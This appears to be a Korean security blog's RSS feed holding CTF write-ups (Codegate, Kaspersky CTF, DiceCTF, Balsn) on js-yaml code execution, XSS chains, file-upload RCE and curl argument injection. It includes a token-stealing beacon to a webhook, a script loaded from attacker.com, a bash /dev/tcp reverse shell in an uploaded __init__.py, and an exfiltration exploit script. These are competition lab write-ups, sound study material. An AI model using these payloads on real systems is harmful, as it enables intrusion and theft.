&lt;p data-ke-size=&quot;size16&quot;&gt;loadFront 함수는 &lt;code&gt;loadSafe&lt;/code&gt;값을 false로 하여 parse 함수를 호출한다.&lt;/p&gt;
&lt;pre class=&quot;yaml&quot;&gt;&lt;code&gt;---
test
---&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때 위의 마크다운 형식의 데이터에서 test 자리에 들어가는 값을 추출, 이후 jsYaml.load 함수로 전달하게 된다.&lt;br /&gt;이 jsYaml.load 함수는 &lt;code&gt;js-yaml:3.14.1&lt;/code&gt;에 정의된 함수로 최신버전과 달리 &lt;code&gt;js-yaml3&lt;/code&gt;에선 Yaml 형식 데이터를 이용한 함수 생성이 가능하여 이를 기반으로 임의 코드 실행을 획득, 플래그를 읽으면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러나 3.14.1 이전 버전에선 함수명을 toString으로 하여 코드 실행을 얻을 수 있었지만, 그 이후부턴 패치되어 불가능하다.&lt;br /&gt;그래서 우린 다른 방식으로 함수를 실행해야하며 이는 reveal-md 라이브러리의 render 함수 내 코드를 활용하여 달성할 수 있다.&lt;/p&gt;
&lt;pre class=&quot;reasonml&quot;&gt;&lt;code&gt;export const render = async (fullMarkdown, extraOptions = {}) =&amp;gt; {
  const { yamlOptions, markdown: contentOnlyMarkdown } = parseYamlFrontMatter(fullMarkdown);
  const options = Object.assign(getSlideOptions(yamlOptions), extraOptions);
...
  const revealOptionsStr = JSON.stringify(revealOptions);
...
};&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이미 우린 yaml 파싱 기능을 활용하여 임의의 함수를 생성하는 것이 가능한데, JSON.stringify 함수로 전달된 객체에 toJSON이라는 key가 존재하며 해당 key의 값이 함수일 경우&lt;br /&gt;이를 실행해주는 것을 이용하면 toString을 덮지 않고도 코드 실행을 획득할 수 있다. (이외에도 Object.entries 사용가능)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위의 취약점을 활용하기 위해선 config.md의 데이터를 조작할 수 있어야한다. 이는 edit.js에 정의된 기능들을 활용하면 가능하다.&lt;/p&gt;
&lt;pre class=&quot;reasonml&quot;&gt;&lt;code&gt;router.post(&quot;/edit/add/config&quot;, (req, res) =&amp;gt; {
    const { title, theme, highlightTheme } = req.body;
    if (typeof title !== &quot;string&quot; || typeof theme !== &quot;string&quot; || typeof highlightTheme !== &quot;string&quot;) {
        return res.json({ status: &quot;error&quot; });
    }
    return res.json({ status: set_config(req.session.userid, title, theme, highlightTheme) ? &quot;success&quot; : &quot;error&quot; });
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;/edit/add/config&lt;/code&gt;로 전달된 post 요청에 대해, title, theme, highlightTheme 파라미터를 받아 set_config 함수로 전달한다. 이 함수는 &lt;code&gt;utils/utils.js&lt;/code&gt;에 정의되어있다.&lt;/p&gt;
&lt;pre class=&quot;javascript&quot;&gt;&lt;code&gt;const TEMPLATE = `---
title: &quot;{TITLE}&quot;
theme: {THEME}
highlightTheme: {HIGHLIGHT}
---`;

const encode = (text) =&amp;gt; {
    try {
        return encodeURI(text.replace(/&quot;/g, &quot;&quot;));
    } catch {
        return text;
    }
};

const set_config = (uuid, title, theme, highlightTheme) =&amp;gt; {
    const userDir = path.join(UPLOAD_DIR, uuid);
    const requiredFolders = [&quot;config&quot;, &quot;slide&quot;];
    if (!fs.existsSync(userDir)) {
        fs.mkdirSync(userDir, { recursive: true });
    }
    requiredFolders.forEach((folder) =&amp;gt; {
        const folderPath = path.join(userDir, folder);
        if (!fs.existsSync(folderPath)) {
            fs.mkdirSync(folderPath);
        }
    });
    const configPath = path.join(userDir, &quot;config&quot;, &quot;config.md&quot;);
    try {
        const content = TEMPLATE.replace(&quot;{TITLE}&quot;, encode(title))
            .replace(&quot;{THEME}&quot;, encode(theme))
            .replace(&quot;{HIGHLIGHT}&quot;, encode(highlightTheme));
        fs.writeFileSync(configPath, content);
    } catch {}
    return fs.existsSync(configPath);
};&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전달받은 데이터를 encodeURI 함수를 이용하여 url 인코딩 후 config.md에 작성한다.&lt;br /&gt;취약점을 공격하기 위해선 임의의 속성을 추가해야하기 때문에 개행문자 및 특수문자를 사용해야하지만 encode 함수로 인해 불가능한 상황이다.&lt;br /&gt;그렇기에 encodeURI에서 에러를 발생시켜 인코딩되지 않은 데이터가 그대로 반환되게 하여 이를 우회하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 app.js에 정의된 필터로 인해 &lt;code&gt;\n&lt;/code&gt;을 사용하는 것이 불가능하지만 js-yaml의 코드를 분석해보면 &lt;a href=&quot;https://github.com/nodeca/js-yaml/blob/v3/lib/js-yaml/loader.js#L351&quot;&gt;readLineBreak&lt;/a&gt; 0x0d 또한 0x0a와 동일하게 사용 가능하기 때문에 이를 활용하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 위의 분석을 토대로 exploit을 작성, 설정파일에 데이터를 삽입한 뒤 &lt;code&gt;/view/render&lt;/code&gt;에 접속하면 쉘을 획득할 수 있다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;플래그&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;codegate2025{97e237e450c9b45b57bb2a1030ff6ec4d186077c178de0cb451633638f4e7a37}&lt;/p&gt;</description>
      <category>web hacking</category>
      <author>as3617</author>
      <guid isPermaLink="true">https://as3617.tistory.com/82</guid>
      <comments>https://as3617.tistory.com/82#entry82comment</comments>
      <pubDate>Mon, 1 Sep 2025 09:47:11 +0900</pubDate>
    </item>
    <item>
      <title>Kaspersky{CTF} - Bubble: rerevenge, Peach Investor writeup</title>
      <link>https://as3617.tistory.com/81</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;Bubble: ReRevenge&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Vulnerability&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;Client Side Path Traversal&lt;br /&gt;&lt;img src=&quot;https://gist.github.com/user-attachments/assets/7df51444-b677-4f55-a0a1-be4dee6754bf&quot; alt=&quot;image&quot; /&gt;&lt;br /&gt;e and t are controlled by Path parameters.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://gist.github.com/user-attachments/assets/ab08b59f-9b59-410d-bcc6-b8bf6a8e15ad&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;As shown in the picture above, we can manipulate the api requested path using path traversal.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; start=&quot;3&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;Self XSS&lt;br /&gt;&lt;img src=&quot;https://gist.github.com/user-attachments/assets/bed8e9ab-c068-4763-a0c0-9b11387c2076&quot; alt=&quot;image&quot; /&gt;&lt;br /&gt;When writing a post, self-xss occurs in the preview function.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Chainning&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Admin bot works as follows.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;Register&lt;/li&gt;
&lt;li&gt;add post with flag&lt;/li&gt;
&lt;li&gt;visit post&lt;/li&gt;
&lt;li&gt;write comment with post's author name&lt;/li&gt;
&lt;li&gt;back to dashboard, and write new post&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In 4th steps, Client Side Path traversal vulnability also occurs.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;So we can save draft with our username.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;At this time, if our username contains XSS payloads, we can get xss when admin bot perform course 5.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Payload&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;Change username to below payloadsaf.js -&amp;gt; &lt;code&gt;navigator.sendBeacon(&quot;https://webhook&quot;,localStorage.getItem(&quot;DiarrheaTokenBearerInLocalStorageForSecureRequestsContactAdminHeKnowsHotToUseWeHaveManyTokensHereSoThisOneShouldBeUnique&quot;))&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;@[youtube srcdoc=&amp;lt;script/src=//attacker.com/af.js&amp;gt;&amp;lt;/script&amp;gt;]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;report url&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://bubble-tea-rerevenge.task.sasc.tf/post/USER_UUID/posts/506%2f.%09.%2f.%09.%2f.%09.%2f.%09.%2f.%09.%2f.%09.%2f.%09.%2fapi%2fdrafts%2fsave%23&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;get flag using admin session token&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;FLAG : kaspersky{6ruh_6um6l3_1s_n0_m0r3}&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Peach Investor&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Vulnerability&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;File upload vuln&lt;br /&gt;&lt;img src=&quot;https://gist.github.com/user-attachments/assets/1ad0616a-23aa-4c49-a290-72818e8c769f&quot; alt=&quot;image&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;We can upload any file without restriction.&lt;br /&gt;And, no validation exists for source parameter, we can upload files to any location by directory traversal.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Exploit&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://gist.github.com/user-attachments/assets/0caa8dd8-896b-456c-be82-6d0600e3ba48&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In docker container, I saw that the celery scheduler import a strange module (billiard).&lt;br /&gt;We can use this to get shell.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;If we create a directory called billiard, and upload &lt;code&gt;__init__py&lt;/code&gt; with a reverse shell in it, our code will run when the scheduler executed.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Payload&lt;/h3&gt;
&lt;pre class=&quot;http&quot;&gt;&lt;code&gt;POST /upload?source=../billiard HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en,ko;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cache-Control: no-cache
Connection: keep-alive
Content-Length: 269
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBB3U3Fw3boGnqJKQ
Host: 409fe342-33f9-4f27-b317-398f174974ee.kit.sasc.tf
Origin: http://localhost:8000
Pragma: no-cache
Referer: http://localhost:8000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
sec-ch-ua: &quot;Not;A=Brand&quot;;v=&quot;99&quot;, &quot;Google Chrome&quot;;v=&quot;139&quot;, &quot;Chromium&quot;;v=&quot;139&quot;
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: &quot;Windows&quot;

------WebKitFormBoundaryBB3U3Fw3boGnqJKQ
Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;__init__.py&quot;
Content-Type: application/json

import os
os.system(&quot;/bin/bash -c 'bash -i &amp;gt; /dev/tcp/IP/1234 0&amp;gt;&amp;amp;1'&quot;)
------WebKitFormBoundaryBB3U3Fw3boGnqJKQ--&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;FLAG: kaspersky{p41d_w17h_c4sh_4nd_3nd3d_up_s0_s35h}&lt;/p&gt;</description>
      <category>ctf writeup</category>
      <author>as3617</author>
      <guid isPermaLink="true">https://as3617.tistory.com/81</guid>
      <comments>https://as3617.tistory.com/81#entry81comment</comments>
      <pubDate>Mon, 1 Sep 2025 09:42:44 +0900</pubDate>
    </item>
    <item>
      <title>DiceCTF 2023 - unfinished</title>
      <link>https://as3617.tistory.com/79</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;오랜만에 ctf 뛰었는데 재밌게 풀었다.&lt;/p&gt;
&lt;pre class=&quot;reasonml&quot;&gt;&lt;code&gt;const crypto = require(&quot;crypto&quot;);

const app = db.getSiblingDB('app');
app.users.insertOne({ user: crypto.randomBytes(8).toString(&quot;hex&quot;), pass: crypto.randomBytes(64).toString(&quot;hex&quot;) });

const secret = db.getSiblingDB('secret');
secret.flag.insertOne({ flag: process.env.FLAG || &quot;dice{test_flag}&quot; });&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;nodejs로 구현된 웹서버인데 flag는 다른 컨테이너에서 돌아가고 있는 mongodb에 있다.&lt;/p&gt;
&lt;pre class=&quot;typescript&quot;&gt;&lt;code&gt;app.post(&quot;/api/login&quot;, async (req, res) =&amp;gt; {
    let { user, pass } = req.body;
    if (!user || !pass || typeof user !== &quot;string&quot; || typeof pass !== &quot;string&quot;) {
        return res.redirect(&quot;/?error=Missing username or password&quot;);
    }

    const users = client.db(&quot;app&quot;).collection(&quot;users&quot;);
    if (await users.findOne({ user, pass })) {
        req.session.user = user;
        return res.redirect(&quot;/&quot;);
    }
    res.redirect(&quot;/?error=Invalid username or password&quot;);
});

app.post(&quot;/api/ping&quot;, requiresLogin, (req, res) =&amp;gt; {
    let { url } = req.body;
    if (!url || typeof url !== &quot;string&quot;) {
        return res.json({ success: false, message: &quot;Invalid URL&quot; });
    }

    try {
        let parsed = new URL(url);
        if (![&quot;http:&quot;, &quot;https:&quot;].includes(parsed.protocol)) throw new Error(&quot;Invalid URL&quot;);
    }
    catch (e) {
        return res.json({ success: false, message: e.message });
    }

    const args = [ url ];
    let { opt, data } = req.body;
    if (opt &amp;amp;&amp;amp; data &amp;amp;&amp;amp; typeof opt === &quot;string&quot; &amp;amp;&amp;amp; typeof data === &quot;string&quot;) {
        if (!/^-[A-Za-z]$/.test(opt)) {
            return res.json({ success: false, message: &quot;Invalid option&quot; });
        }

        // if -d option or if GET / POST switch
        if (opt === &quot;-d&quot; || [&quot;GET&quot;, &quot;POST&quot;].includes(data)) {
            args.push(opt, data);
        }
    }

    cp.spawn('curl', args, { timeout: 2000, cwd: &quot;/tmp&quot; }).on('close', (code) =&amp;gt; {
        // TODO: save result to database
        res.json({ success: true, message: `The site is ${code === 0 ? 'up' : 'down'}` });
    });
});&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버에 정의된 router는 2개가 있는데 &lt;code&gt;/api/ping&lt;/code&gt;을 사용하기 위해선 login이 필요한 것을 알 수 있다.&lt;br /&gt;하지만 register 기능이 없기 때문에 auth bypass를 하거나 취약점을 통해 로그인 시도를 해야한다.&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;if (!user || !pass || typeof user !== &quot;string&quot; || typeof pass !== &quot;string&quot;) {
        return res.redirect(&quot;/?error=Missing username or password&quot;);
    }

    const users = client.db(&quot;app&quot;).collection(&quot;users&quot;);
    if (await users.findOne({ user, pass })) {
        req.session.user = user;
        return res.redirect(&quot;/&quot;);
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;login 부분을 확인해보면 users.findOne함수를 사용할 때 취약하게 사용하고 있는 것을 확인할 수 있다.&lt;br /&gt;하지만 위에서 전달되는 파라미터에 대해 string 체크를 진행하고 있어서 nosql injection 공격은 불가능하다.&lt;/p&gt;
&lt;pre class=&quot;moonscript&quot;&gt;&lt;code&gt;const requiresLogin = (req, res, next) =&amp;gt; {
    if (!req.session.user) {
        res.redirect(&quot;/?error=You need to be logged in&quot;);
    }
    next();
};&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 우린 login 기능을 우회해야하는데 requiresLogin 함수를 보면 이상한 부분을 찾을 수 있다.&lt;br /&gt;세션이 존재하지 않으면 res.redirect를 통해 메인페이지로 리다이렉트시키는데 return이 존재하지 않아서 그대로 next 함수가 실행되게 되고&lt;br /&gt;우린 &lt;code&gt;/api/ping&lt;/code&gt; 기능을 사용할 수 있게 된다.&lt;/p&gt;
&lt;pre class=&quot;typescript&quot;&gt;&lt;code&gt;app.post(&quot;/api/ping&quot;, requiresLogin, (req, res) =&amp;gt; {
    let { url } = req.body;
    if (!url || typeof url !== &quot;string&quot;) {
        return res.json({ success: false, message: &quot;Invalid URL&quot; });
    }

    try {
        let parsed = new URL(url);
        if (![&quot;http:&quot;, &quot;https:&quot;].includes(parsed.protocol)) throw new Error(&quot;Invalid URL&quot;);
    }
    catch (e) {
        return res.json({ success: false, message: e.message });
    }

    const args = [ url ];
    let { opt, data } = req.body;
    if (opt &amp;amp;&amp;amp; data &amp;amp;&amp;amp; typeof opt === &quot;string&quot; &amp;amp;&amp;amp; typeof data === &quot;string&quot;) {
        if (!/^-[A-Za-z]$/.test(opt)) {
            return res.json({ success: false, message: &quot;Invalid option&quot; });
        }

        // if -d option or if GET / POST switch
        if (opt === &quot;-d&quot; || [&quot;GET&quot;, &quot;POST&quot;].includes(data)) {
            args.push(opt, data);
        }
    }

    cp.spawn('curl', args, { timeout: 2000, cwd: &quot;/tmp&quot; }).on('close', (code) =&amp;gt; {
        // TODO: save result to database
        res.json({ success: true, message: `The site is ${code === 0 ? 'up' : 'down'}` });
    });
});&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;/api/ping&lt;/code&gt; 기능을 분석해보면 curl을 통해 임의의 url로 요청을 보내는 것을 확인할 수 있다. url은 무조건 http,https로 시작해야하며 응답을 확인할 수는 없지만 curl로 전달되는 인자 값을 컨트롤하는 것이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 임의의 파일을 서버에 다운로드 시킨 다음 -K 옵션을 통해 curl 설정파일을 불러온다면 추가적으로 인자를 전달하며 http url외에도 gopher 프로토콜을 사용하거나 내 서버로 파일을 업로드하는 등 더욱 다양한 동작이 가능할 것이다.&lt;/p&gt;
&lt;pre class=&quot;gauss&quot;&gt;&lt;code&gt;RUN ./configure --prefix=/build \
      --disable-shared --enable-static --with-openssl \
      --disable-gopher &amp;amp;&amp;amp; \
    make &amp;amp;&amp;amp; \
    make install&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 도커파일에서 curl을 빌드할 때 gopher 프로토콜을 disable한 것을 확인할 수 있다. 하지만 telnet 프로토콜은 사용이 가능하므로 telnet을 이용하여 exploit을 진행하였다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;858&quot; data-origin-height=&quot;82&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mAk1k/btrYiWsgIuR/09AGe41tpIHnT751ECmqUK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mAk1k/btrYiWsgIuR/09AGe41tpIHnT751ECmqUK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mAk1k/btrYiWsgIuR/09AGe41tpIHnT751ECmqUK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmAk1k%2FbtrYiWsgIuR%2F09AGe41tpIHnT751ECmqUK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;858&quot; height=&quot;82&quot; data-origin-width=&quot;858&quot; data-origin-height=&quot;82&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;telnet을 통해 mongodb와 통신을 해야하기에 mongodb에서 사용하는 wire packet에 대해 분석을 진행하였는데&amp;nbsp;&lt;br /&gt;mongodb client에서 server와 통신할 때 query request외에도 추가적인 요청이 발생하지만 이는 query request에 영향을 주지 않는 별개의 request이며 query request 단독으로 전송되어도 정상적으로 조회한 data를 확인할 수 있다는 것을 알아내었고 이를 토대로 exploit을 작성하였다.&lt;/p&gt;
&lt;pre class=&quot;clean&quot;&gt;&lt;code&gt;import requests
import time
## download curl config file
url = &quot;https://unfinished-d4b0a20a2b6d8605.mc.ax/api/ping&quot;
requests.post(url,data={&quot;url&quot;:&quot;https://ssrf.kr/GET&quot;,&quot;opt&quot;:&quot;-O&quot;,&quot;data&quot;:&quot;GET&quot;})
#time.sleep(1)
## download packet file
requests.post(url,data={&quot;url&quot;:&quot;https://ssrf.kr/getflagdata&quot;,&quot;opt&quot;:&quot;-O&quot;,&quot;data&quot;:&quot;GET&quot;})
#time.sleep(1)
## execute curl with config file
requests.post(url,data={&quot;url&quot;:&quot;https://ssrf.kr/&quot;,&quot;opt&quot;:&quot;-K&quot;,&quot;data&quot;:&quot;GET&quot;})
time.sleep(2)

## get flag
requests.post(url,data={&quot;url&quot;:&quot;https://enllwt2ugqrt.x.pipedream.net/&quot;,&quot;opt&quot;:&quot;-T&quot;,&quot;data&quot;:&quot;POST&quot;})&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;ini&quot;&gt;&lt;code&gt;upload-file=getflagdata
output=asdf
url=&quot;telnet://mongodb:27017&quot;
upload-file=getflagdata
output=POST
max-time=1&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버에서 curl 바이너리를 실행할 때 timeout 때문에 exploit이 잘 안되는데 몇 번 시도하다보면 flag를 획득할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;818&quot; data-origin-height=&quot;239&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dnnnij/btrYaphR6Pl/fM68iMfl6fC9FntO2GQscK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dnnnij/btrYaphR6Pl/fM68iMfl6fC9FntO2GQscK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dnnnij/btrYaphR6Pl/fM68iMfl6fC9FntO2GQscK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdnnnij%2FbtrYaphR6Pl%2FfM68iMfl6fC9FntO2GQscK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;818&quot; height=&quot;239&quot; data-origin-width=&quot;818&quot; data-origin-height=&quot;239&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>ctf writeup</category>
      <author>as3617</author>
      <guid isPermaLink="true">https://as3617.tistory.com/79</guid>
      <comments>https://as3617.tistory.com/79#entry79comment</comments>
      <pubDate>Mon, 6 Feb 2023 17:07:57 +0900</pubDate>
    </item>
    <item>
      <title>Balsn CTF 2022 2linenodejs writeup</title>
      <link>https://as3617.tistory.com/78</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;990&quot; data-origin-height=&quot;290&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EV4Ff/btrLzkSX5ln/5ElHkwzknvoYLzrKykHwlK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EV4Ff/btrLzkSX5ln/5ElHkwzknvoYLzrKykHwlK/img.png&quot; data-alt=&quot;first blood.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EV4Ff/btrLzkSX5ln/5ElHkwzknvoYLzrKykHwlK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEV4Ff%2FbtrLzkSX5ln%2F5ElHkwzknvoYLzrKykHwlK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;679&quot; height=&quot;199&quot; data-origin-width=&quot;990&quot; data-origin-height=&quot;290&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;first blood.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;pre class=&quot;typescript&quot;&gt;&lt;code&gt;#!/usr/local/bin/node
process.stdin.setEncoding('utf-8');
process.stdin.on('readable', () =&amp;gt; {
  try{
    console.log('HTTP/1.1 200 OK\nContent-Type: text/html\nConnection: Close\n');
    const json = process.stdin.read().match(/\?(.*?)\ /)?.[1];
    console.log(json)
    obj = JSON.parse(json);
    console.log(`JSON: ${json}, Object:`, require('./index')(obj, {}));
  }catch(error){
    require('./usage')
  }finally{
    process.exit();
  }
});&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 코드는 위와 같다.&lt;br /&gt;취약점은 &lt;code&gt;require('./index')(obj, {})&lt;/code&gt;에서 발생하는데 index.js의 코드는 아래와 같다.&lt;/p&gt;
&lt;pre class=&quot;markdown&quot;&gt;&lt;code&gt;module.exports=(O,o) =&amp;gt; (Object.entries(O).forEach(([K,V])=&amp;gt;Object.entries(V).forEach(([k,v])=&amp;gt;(o[K]=o[K]||{},o[K][k]=v))), o);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 줄로 코드가 작성되있어서 보기 힘들 수 있는데 잘 읽어보면 그냥 prototype pollution이 발생한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 이제 취약점을 이용해서 RCE를 얻어야하는데 RCE에 쓸만한 함수는 require 밖에 없다.&lt;/p&gt;
&lt;pre class=&quot;avrasm&quot;&gt;&lt;code&gt;https://arxiv.org/abs/2207.11171&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다행히도 최근에 prototype pollution에 대해 정리된 논문이 나왔고 이 안에 require안에서 prototype pollution으로 원하는 함수를 import하는 법에 대해 잘 정리되어있었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;326&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbEI8E/btrLBybO9RQ/lpKeVWvDodueBPHurUiclK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbEI8E/btrLBybO9RQ/lpKeVWvDodueBPHurUiclK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbEI8E/btrLBybO9RQ/lpKeVWvDodueBPHurUiclK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbEI8E%2FbtrLBybO9RQ%2FlpKeVWvDodueBPHurUiclK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;462&quot; height=&quot;216&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;326&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 node v16.16.0에선 성공했는데 문제가 돌아가는 환경인 node v18.8.0에선 아무리 돌려도 익스가 불가능했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이유는 다음과 같다.&lt;/p&gt;
&lt;pre class=&quot;crmsh&quot;&gt;&lt;code&gt;https://github.com/nodejs/node/commit/a8c24185f8c156b204175c76de68113d950a5e6f#diff-5b5902273122e094ff474fda358605ffa45a4a58b51cd0bf4c1acb93779df142&lt;/code&gt;&lt;/pre&gt;
